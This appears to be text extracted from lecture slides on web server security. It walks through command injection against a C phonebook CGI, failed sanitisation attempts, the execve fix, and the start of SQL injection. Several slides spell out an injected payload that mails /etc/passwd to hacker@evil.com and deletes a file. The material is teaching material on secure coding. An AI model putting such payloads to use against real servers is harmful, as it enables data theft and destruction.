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Web Server Threats 

•  What can happen if server is compromised? 
–  Compromise of underlying system 
–  Gateway to enabling attacks on clients 
–  Disclosure of sensitive or private information 
–  Impersonation (of users to servers, or vice versa) 
–  Defacement 
–  (not mutually exclusive) 
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•  What can happen if server is compromised? 
–  Compromise of underlying system 
–  Gateway to enabling attacks on clients 
–  Disclosure of sensitive or private information 
–  Impersonation (of users to servers, or vice versa) 
–  Defacement 
–  (not mutually exclusive) 

•  What makes the problem particularly tricky? 
–  Public access 
–  Mission creep 

















Interacting With Web Servers 

•  An interaction with a web server is expressed in 
terms of a URL (plus an optional data item) 

•  URL components: 
http://coolsite.com/tools/info.html 



Interacting With Web Servers 

•  An interaction with a web server is expressed in 
terms of a URL (plus an optional data item) 

•  URL components: 
http://coolsite.com/tools/info.html 

protocol	


E.g., “http” or “ftp” or 
“https” 
(These all use TCP.) 



Interacting With Web Servers 

•  An interaction with a web server is expressed in 
terms of a URL (plus an optional data item) 

•  URL components: 
http://coolsite.com/tools/info.html 

Hostname of server	


Translated to an IP address via DNS 



Interacting With Web Servers 

•  An interaction with a web server is expressed in 
terms of a URL (plus an optional data item) 

•  URL components: 
http://coolsite.com/tools/info.html	


Path to a resource	


Here, the resource (“info.html”) is static 
content = a fixed file returned by the server. 
 
(Often static content is an HTML file = content plus 
markup for how browser should “render” it.) 



Interacting With Web Servers 

•  An interaction with a web server is expressed in 
terms of a URL (plus an optional data item) 

•  URL components: 
http://coolsite.com/tools/doit.php	


Path to a resource	


Resources can instead be dynamic 
  = server generates the page on-the-fly. 
 
Some common frameworks for doing this: 
CGI = run a program or script, return its stdout 
PHP = execute script in HTML templating language 



Interacting With Web Servers 

•  An interaction with a web server is expressed in 
terms of a URL (plus an optional data item) 

•  URL components: 
http://coolsite.com/tools/doit.php?cmd=play&vol=44	


URLs for dynamic content 
generally include arguments to 
pass to the generation process 



Interacting With Web Servers 

•  An interaction with a web server is expressed in 
terms of a URL (plus an optional data item) 

•  URL components: 
http://coolsite.com/tools/doit.php?cmd=play&vol=44	


First argument to doit.php	




Interacting With Web Servers 

•  An interaction with a web server is expressed in 
terms of a URL (plus an optional data item) 

•  URL components: 
http://coolsite.com/tools/doit.php?cmd=play&vol=44	


Second argument to doit.php	




Simple Service Example 

•  Allow users to search the local phonebook for 
any entries that match a regular expression 

•  Invoked via URL like: 
http://harmless.com/phonebook.cgi?regex=<pattern>	


•  So for example: 
http://harmless.com/phonebook.cgi?regex=alice.*smith 
searches phonebook for any entries with “alice” 
and then later “smith” in them 

•  (Note: web surfer doesn’t enter this URL themselves; 
an HTML form, or possibly Javascript running in their 
browser, constructs it from what they type) 



•  Assume our server has some “glue” that parses URLs to 
extract parameters into C variables 
–  and returns stdout to the user 

•  Simple version of code to implement search: 

/* print any employees whose name 
 * matches the given regex */ 
void find_employee(char *regex) 
{ 
  char cmd[512]; 
  snprintf(cmd, sizeof cmd, 
      "grep %s phonebook.txt", regex); 
  system(cmd); 
} Problems?	


Simple Service Example, cont. 



Instead of http://harmless.com/phonebook.cgi?
regex=alice.*smith 

How about http://harmless.com/phonebook.cgi?regex=foo;
%20mail 
%20-s%20hacker@evil.com%20</etc/passwd;%20rm 

 

/* print any employees whose name 
 * matches the given regex */ 
void find_employee(char *regex) 
{ 
  char cmd[512]; 
  snprintf(cmd, sizeof cmd, 
      "grep %s phonebook.txt", regex); 
  system(cmd); 
} 

Problems?	


%20 is an escape sequence 
that expands to a space (' ')	




Instead of http://harmless.com/phonebook.cgi?
regex=alice.*smith 

How about http://harmless.com/phonebook.cgi?regex=foo;
%20mail 
%20-s%20hacker@evil.com%20</etc/passwd;%20rm 

 
⇒ "grep foo; mail -s hacker@evil.com </etc/passwd; rm phonebook.txt" 

/* print any employees whose name 
 * matches the given regex */ 
void find_employee(char *regex) 
{ 
  char cmd[512]; 
  snprintf(cmd, sizeof cmd, 
      "grep %s phonebook.txt", regex); 
  system(cmd); 
} 

Problems?	




Instead of http://harmless.com/phonebook.cgi?regex=alice|
bob 

How about http://harmless.com/phonebook.cgi?regex=foo;
%20mail 
%20-s%20hacker@evil.com%20</etc/passwd;%20rm 

 
⇒ "grep foo; mail -s hacker@evil.com </etc/passwd; rm phonebook.txt" 

/* print any employees whose name 
 * matches the given regex */ 
void find_employee(char *regex) 
{ 
  char cmd[512]; 
  snprintf(cmd, sizeof cmd, 
      "grep %s phonebook.txt", regex); 
  system(cmd); 
} 

Problems?	


Control information, not data 



How To Fix Command Injection? 
snprintf(cmd, sizeof cmd, 
   "grep %s phonebook.txt", regex); 

•  One general defense: input sanitization 
–  Look for anything nasty in the input … 
–  … and “defang” it / remove it / escape it 

•  Seems simple enough, but: 
–  Tricky to get right (as we’re about to see!) 
–  Brittle: if you get it wrong & miss something, you L0SE 

•  Attack slips past! 
–  Approach in general is a form of “default allow” 

•  i.e., input is by default okay, only known problems are 
removed 



How To Fix Command Injection? 
snprintf(cmd, sizeof cmd, 
   "grep '%s' phonebook.txt", regex); 

Simple idea: quote the data 
to enforce that it’s indeed 
interpreted as data … 

⇒ "grep 'foo; mail -s hacker@evil.com </etc/passwd; rm' phonebook.txt" 

Argument is back to being data; a 
single (large/messy) pattern to grep 

Problems? 



How To Fix Command Injection? 
snprintf(cmd, sizeof cmd, 
   "grep '%s' phonebook.txt", regex); 

…regex=foo'; mail -s hacker@evil.com </etc/passwd; rm' 

⇒ "grep 'foo'; mail -s hacker@evil.com </etc/passwd; rm' ' phonebook.txt" 

Whoops, control information again, not data 
Fix? 



How To Fix Command Injection? 
snprintf(cmd, sizeof cmd, 
   "grep '%s' phonebook.txt", regex); 

…regex=foo'; mail -s hacker@evil.com </etc/passwd; rm' 

Okay, first scan regex and strip '  - does that work? 
 
No, now can’t do legitimate search on “O'Malley”. 



How To Fix Command Injection? 
snprintf(cmd, sizeof cmd, 
   "grep '%s' phonebook.txt", regex); 

…regex=foo'; mail -s hacker@evil.com </etc/passwd; rm' 

Okay, then scan regex and escape '  …. ? 
    legit regex ⇒ O\'Malley 

Problems? 



How To Fix Command Injection? 
snprintf(cmd, sizeof cmd, 
   "grep '%s' phonebook.txt", regex); 

…regex=foo\'; mail -s hacker@evil.com </etc/passwd; rm \' 

Rule alters: 
    …regex=foo\'; mail … ⇒ …regex=foo\\'; mail … 
 
Now grep is invoked: 
 
 ⇒ "grep 'foo\\'; mail -s hacker@evil.com </etc/passwd; rm \\' ' phonebook.txt" 

Argument to grep is “foo\” 



How To Fix Command Injection? 
snprintf(cmd, sizeof cmd, 
   "grep '%s' phonebook.txt", regex); 

…regex=foo\'; mail -s hacker@evil.com </etc/passwd; rm \' 

Rule alters: 
    …regex=foo\'; mail … ⇒ …regex=foo\\'; mail … 
 
Now grep is invoked: 
 
 ⇒ "grep 'foo\\'; mail -s hacker@evil.com </etc/passwd; rm \\' ' phonebook.txt" 

Sigh, again control information, not data 



How To Fix Command Injection? 
snprintf(cmd, sizeof cmd, 
   "grep '%s' phonebook.txt", regex); 

 Okay, then scan regex and escape ' and \  …. ? 
 …regex=foo\'; mail … ⇒ …regex=foo\\\'; mail … 
 

…regex=foo\'; mail -s hacker@evil.com </etc/passwd; rm \' 

⇒ "grep 'foo\\\'; mail -s hacker@evil.com </etc/passwd; rm \\\' ' phonebook.txt" 

Are we done? 

Yes! - assuming we take care of all 
of the ways escapes can occur … 



Issues With Input Sanitization 

•  In principle, can prevent injection attacks by 
properly sanitizing input 
–  Remove inputs with meta-characters 

•  (can have “collateral damage” for benign inputs) 

–  Or escape any meta-characters (including escape 
characters!) 
•  Requires a complete model of how input subsequently 

processed 
–  E.g. …regex=foo%27; mail …  

•  But: easy to get wrong! 
•  Better: avoid using a feature-rich API (if possible) 

–  KISS + defensive programming 



This is the core problem. 
system() provides too much functionality! 

 - treats arguments passed to it as full shell command 
 
If instead we could just run grep directly, no opportunity for 

attacker to sneak in other shell commands! 

/* print any employees whose name 
 * matches the given regex */ 
void find_employee(char *regex) 
{ 
  char cmd[512]; 
  snprintf(cmd, sizeof cmd, 
      "grep %s phonebook.txt", regex); 
  system(cmd); 
} 



/* print any employees whose name 
 * matches the given regex */ 
void find_employee(char *regex) 
{ 
  char *path = "/usr/bin/grep"; 
  char *argv[10];/* room for plenty of args */ 
  char *envp[1]; /* no room since no env. */ 
  int argc = 0; 
 

  argv[argc++] = path;/* argv[0] = prog name */ 
  argv[argc++] = "-e";/* force regex as pat.*/ 
  argv[argc++] = regex; 
  argv[argc++] = "phonebook.txt"; 
  argv[argc++] = 0; 
 

  envp[0] = 0; 
 

  if ( execve(path, argv, envp) < 0 ) 
    command_failed(.....); 
} 



/* print any employees whose name 
 * matches the given regex */ 
void find_employee(char *regex) 
{ 
  char *path = "/usr/bin/grep"; 
  char *argv[10];/* room for plenty of args */ 
  char *envp[1]; /* no room since no env. */ 
  int argc = 0; 
 

  argv[argc++] = path;/* argv[0] = prog name */ 
  argv[argc++] = "-e";/* force regex as pat.*/ 
  argv[argc++] = regex; 
  argv[argc++] = "phonebook.txt"; 
  argv[argc++] = 0; 
 

  envp[0] = 0; 
 

  if ( execve(path, argv, envp) < 0 ) 
    command_failed(.....); 
} 

execve() just executes 
a single program. 



/* print any employees whose name 
 * matches the given regex */ 
void find_employee(char *regex) 
{ 
  char *path = "/usr/bin/grep"; 
  char *argv[10];/* room for plenty of args */ 
  char *envp[1]; /* no room since no env. */ 
  int argc = 0; 
 

  argv[argc++] = path;/* argv[0] = prog name */ 
  argv[argc++] = "-e";/* force regex as pat.*/ 
  argv[argc++] = regex; 
  argv[argc++] = "phonebook.txt"; 
  argv[argc++] = 0; 
 

  envp[0] = 0; 
 

  if ( execve(path, argv, envp) < 0 ) 
    command_failed(.....); 
} 

These will be the 
separate arguments 
to the program 



/* print any employees whose name 
 * matches the given regex */ 
void find_employee(char *regex) 
{ 
  char *path = "/usr/bin/grep"; 
  char *argv[10];/* room for plenty of args */ 
  char *envp[1]; /* no room since no env. */ 
  int argc = 0; 
 

  argv[argc++] = path;/* argv[0] = prog name */ 
  argv[argc++] = "-e";/* force regex as pat.*/ 
  argv[argc++] = regex; 
  argv[argc++] = "phonebook.txt"; 
  argv[argc++] = 0; 
 

  envp[0] = 0; 
 

  if ( execve(path, argv, envp) < 0 ) 
    command_failed(.....); 
} 

No matter what weird goop “regex” 
has in it, it’ll be treated as a single 
argument to grep; no shell involved 



Command Injection in the Real World 
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Structure of Modern Web Services 

Web 
server 

URL / Form 

command.php? 
arg1=x&arg2=y 

Browser 



Structure of Modern Web Services 

Web 
server 

URL / Form 

command.php? 
arg1=x&arg2=y 

Database 
server 

Database query 
built from x and y 

Browser 



Structure of Modern Web Services 

Web 
server 

Database 
server 

Custom data 
corresponding to x & y 

Browser 



Structure of Modern Web Services 

Web 
server 

Web page built 
using custom data 

Database 
server 

Browser 



Databases 
•  Management of groups (tuples) of related 

values 
Customer 

AcctNum Username Balance 
1199 zuckerberg 7746533.71 

0501 bgates 4412.41 

… … … 

… … … 



•  Management of groups  
(tuples) of related values 

•  Widely used by web 
services to track 
per-user information 

•  Database runs as separate process to which 
web server connects 
–  Web server sends queries or commands customized 

by incoming HTTP request 
–  Database server returns associated values 
–  Database server can instead modify/update values 

Databases 
Customer 

AcctNum Username Balance 

1199 zuckerberg 7746533.71 

0501 bgates 4412.41 

… … … 
… … … 



SQL 
•  Widely used database query language 

–  (Pronounced “ess-cue-ell” or “sequel”) 

•  Fetch a set of records (simplified): 
     SELECT field FROM table WHERE condition 

    returns the value(s) of the given field in the specified table, 
for all records where condition is true. 

•  E.g: 
 SELECT Balance FROM Customer 
WHERE Username='bgates' 
will return the value 4412.41 

Customer 

AcctNum Username Balance 

1199 zuckerberg 7746533.71 

0501 bgates 4412.41 

… … … 

… … … 



SQL, cont. 
•  Can add data to the table (or modify): 

 INSERT INTO Customer 
 VALUES (8477, 'oski', 10.00) -- oski has ten buckaroos  

An SQL comment 



Customer 
AcctNum Username Balance 

1199 zuckerberg 7746533.71 

0501 bgates 4412.41 

8477 oski 10.00 

… … … 



SQL, cont. 
•  Can add data to the table (or modify): 

 INSERT INTO Customer 
 VALUES (8477, 'oski', 10.00) -- oski has ten buckaroos  

•  Or even delete entire tables: 
 DROP Customer 

•  Semicolons separate commands: 
 INSERT INTO Customer VALUES (4433, 'vladimir', 
888.99); SELECT AcctNum FROM Customer 
WHERE Username='vladimir' 

    returns 4433. 



SQL Injection Scenario 
•  Suppose web server front end stores URL 

parameter “recipient” in variable $recipient 
and then builds up a string with the following 
SQL query:   
 $sql = "SELECT AcctNum FROM Customer 
            WHERE Balance < 100 AND   
             Username='$recipient' ";   

•  Query accesses recipient’s account if their 
balance is < 100. 

•  Web server will send value of $sql variable to 
database server to get account #s from database 



SQL Injection Scenario 
•  Suppose web server front end stores URL 

parameter “recipient” in variable 
$recipient and then builds up a string with the 
following SQL query:   
 $sql = "SELECT AcctNum FROM Customer 
            WHERE Balance < 100 AND   
             Username='$recipient' ";   

•  So for “?recipient=Bob” the SQL query 
is: 
"SELECT AcctNum FROM Customer 

            WHERE Balance < 100 AND   
             Username='Bob' " 



SELECT / FROM / WHERE 

Customer AcctNum AND 

   =   < 

 Balance 100  Username 'Bob' 

Parse Tree for SQL Example 

SELECT AcctNum FROM Customer 
    WHERE Balance < 100 AND Username='Bob' 



SQL Injection Scenario 
•  Suppose web server front end stores URL 

parameter “recipient” in variable 
$recipient and then builds up a string with the 
following SQL query: 
 $sql = "SELECT AcctNum FROM Customer 
            WHERE Balance < 100 AND   
             Username='$recipient' ";   

•  How can $recipient cause trouble here? 
– How can we see anyone’s account? 

•  Even if their balance is >= 100 


